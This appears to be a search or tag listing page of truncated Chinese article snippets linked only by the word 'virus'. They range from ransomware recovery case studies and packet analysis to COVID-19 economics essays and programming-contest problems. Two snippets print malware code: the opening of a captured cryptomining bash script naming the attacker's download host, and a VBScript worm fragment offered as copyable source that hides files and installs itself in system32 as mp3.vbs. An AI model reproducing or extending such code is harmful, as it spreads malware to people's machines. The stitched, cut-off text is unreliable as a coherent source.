GalaxyLu freebuf一、正常报文排查一次抓包，可能会有几万个报文，熟练地使用过滤功能，可以快速定位到需要分析的内容。在这里过滤http报文，直接对http报文进行分析。1.1查看请求包第一个http是访问http://www.msftncsi.com/ncsi.txt。由于无法判断URL的安全性，可以根据URL查询威胁情报库，看看是否为恶意URL。根据云沙箱分析为安全。基本可以判断是安全的网站。1.2查看返回包也可以查看返回包的报文，通过返回结果判断。这个报文...
最近出现多家公司找我咨询，他们所在公司的服务器都感染了.blm后缀勒索病毒，中毒后，服务器上的所有文件都被加密锁定，没办法正常打开使用，而且文件名也被篡改成. blm后缀，导致公司业务无法正常开展，影响较大。经与他们紧密沟通及进行文件检测，根据检测的结果，我向他们提供了相应的解决方案建议，已有公司按照解决方案的建议顺利完成了文件数据的恢复工作。对于这个. blm后缀勒索病毒究竟是什么来头？是通过什么方式传播感染...
针对VMware vSphere的勒索病毒已经出现 https://www.crazycen.com/vmware/1905.html 2021年3月15日 8318点热度 15人点赞 10条评论 2021.03.14 周日凌晨，睡梦中醒来，经用户反馈，大量虚拟机关闭，虚拟处于关机，并处于无法连接状态，用户生产环境停线。 小岑和同事，以及用户，一起参与到业务恢复中。花费一整天时间，才将业务恢复的七七八八。 中毒现象： VMware vSphere集群仅有vCenter处于正常状态。 同时企业中Windows桌面P...
月常抓病毒水文 这次也是注入，不过都能搞到内网服务器了。 被入侵的服务器是内网的nginx代理服务器，默认文件倒是没有被删除，但跑满了的CPU实在不能忍。 抓到文件，就当是复习shell脚本了，技术不到家，代码容易被攻破啊。 攻击者获取文件地址：xia.beihaixue.com（香港）#!/bin/bash #chkconfig: 2345 88 14 SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin function kills() { #ps aux |gre...
Source: http://www.columbia.edu/~wk2110/Corona/Statement.pdf 新冠病毒全球性流行首先是一场健康危机，但它同时也严重损害了我们的经济。为了应对公共卫生挑战，要求企业和家庭大幅减少经济活动，数以千万计的美国人的生计问题悬而未决。未来几天所作的政策选择将严重影响到，整个危机期间人们会感受到多大程度的经济困难，以及谁会首先感受到其负面影响。这些选择还将决定在危机结束后我们还有哪些可用选择。由于为遏制COVID-1...
复制代码 代码如下:On error resume next Dim fso,wshell,curfolder,curdristr,curdri Set fso=createobject("scripting.filesystemobject") Set wshell=CreateObject("WScript.shell") Set curfolder=fso.GetFolder(".") curdristr=Left(WScript.ScriptFullName,3) Set curdri=fso.GetDrive(curdristr) reghid() ‘不显示隐藏文件 If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs" Then ‘如果在system32中 For i=1...
Description 轮状病毒有很多变种，所有轮状病毒的变种都是从一个轮状基产生的。一个N轮状基由圆环上N个不同的基原子 和圆心处一个核原子构成的，2个原子之间的边表示这2个原子之间的信息通道。如下图所示 N轮状病毒的产生规律是在一个N轮状基中删去若干条边，使得各原子之间有唯一的信息通道，例如共有16个不 同的3轮状病毒，如下图所示 现给定n(N<=100)，编程计算有多少个不同的n轮状病毒Input 第一行有1个正整数nOut...
传送门其实这道题是生成树的计数问题，可以用个什么Matrix-Tree定理然鹅我不会看了这篇博客打表找规律什么的真的是大佬！！！从别人那儿扒到递推式：f[i]=f[i-1]*3-f[i-2]+2因为会炸LL，所以用高精度。#include<bits/stdc++.h> #define LL long long usingnamespace std; int read() {int f=1,x=0;char s=getchar();while(s<‘0‘||s>‘9‘){if(s==‘-‘)f=-1;s=getchar();}while(s>=‘0‘&&s<=‘9‘){x=x*10+s-‘0‘;s=getchar()...
《病毒》传送门《烦人的幻灯片》传送门 病毒描述 有一天，小y突然发现自己的计算机感染了一种病毒！还好，小y发现这种病毒很弱，只是会把文档中的所有字母替换成其它字母，但并不改变顺序，也不会增加和删除字母。 现在怎么恢复原来的文档呢！小y很聪明，他在其他没有感染病毒的机器上，生成了一个由若干单词构成的字典，字典中的单词是按照字母顺序排列的，他把这个文件拷贝到自己的机器...
案例简介： 近日，91数据恢复接到湖北某公司的微信咨询与求助，他们是一家营销推广业务公司，由于公司营销业务的服务器遭遇了勒索病毒.ReadInstructions后缀的***，公司营销数据和营销合作业务数据存储的服务器上所有数据被加密锁定，所有文件后缀均被改为.ReadInstructions后缀，导致目前公司的营销合作业务已停摆，该公司寻求91数据恢复团队的帮助，希望尽快恢复数据，否则公司营销业务无法开展。 经过91数据恢复工程师的检...
案例简介： 近日，91数据恢复接到深圳某公司的微信咨询，他们是一家代工业务工厂，公司的服务器遭遇了勒索病毒 .ReadInstrutions后缀的***，公司业务数据存储的服务器上所有数据被加密锁定，包括数据库文件在内的所有文件后缀均被改为.ReadInstrutions后缀，导致目前公司生产系统无法运行，该公司找到91数据恢复，希望可以帮忙恢复数据库文件，不需要恢复其它文件。 经过91数据恢复工程师的检测分析加密数据，制定了相应的数...
什么是bondy勒索病毒？ 威胁摘要： 名称 bondy病毒 威胁类型 勒索软件，加密病毒，文件柜 加密文件扩展名 .bondy 网络犯罪联系 bondbond1@protonmail.com 检测名称 AVG（FileRepMalware），BitDefender（Generic.Ransom.WCryG.21CC8418），ESET-NOD32（MSIL / Filecoder.CS的变体），卡巴斯基（HEUR：Trojan.MSIL.DelShad.gen），完整 病征 无法打开计算机上存储的文件，以前的功能文件现在具有不同的扩展名（例如，my.docx.lock...
Allegedly, the author of the “Locker” ransomware hasuploaded a dump of the C2 server database, releasing private keys of infected hosts worldwide to the public. The “author” claims that the release was a mistake, that no further keys will be utilized for encryption, and that automatic decryption of all affectedhosts will begin on June 2nd.This is the post made by the alleged author, uploaded ...
budui 嘶吼专业版 2020年春节因为新型冠状病毒的爆发注定变得特殊，起初我们都以为只是一场流感、一些无关痛痒的新闻，没人料到，2020年新年的这场疫情将几千万人禁足在家里。柴静在《看见》一书中描述2003年非典时说，“恐惧‘嗡’一声像马蜂群一样散开，叮住了人群”，我们都没想过有生之年这样的经历会有第二次。好在相比起2003年，我们能够集结起更多的有生力量来对抗疫情、维持正常运转，有更强的信心保护好自己，战胜疫情。在...
今日接到北京一家科技信息公司的求助，该公司的服务器中了勒索病毒，遭遇勒索病毒***后服务器上的全部文件被加密锁定，导致金蝶财务软件无法正常启动，且库文件名被篡改添加了***者的ID信息、邮箱以及yufl后缀，经远程查看检测，并根据检测结果与对方沟通数据修复方案，最终按照修复方案完美修复该服务器上的所有文件。那我们来了解下.yufl后缀勒索病毒，究竟是什么来头？ 什么是YUFL勒索病毒？ YUFL旨在通过加密文件，更改文件名...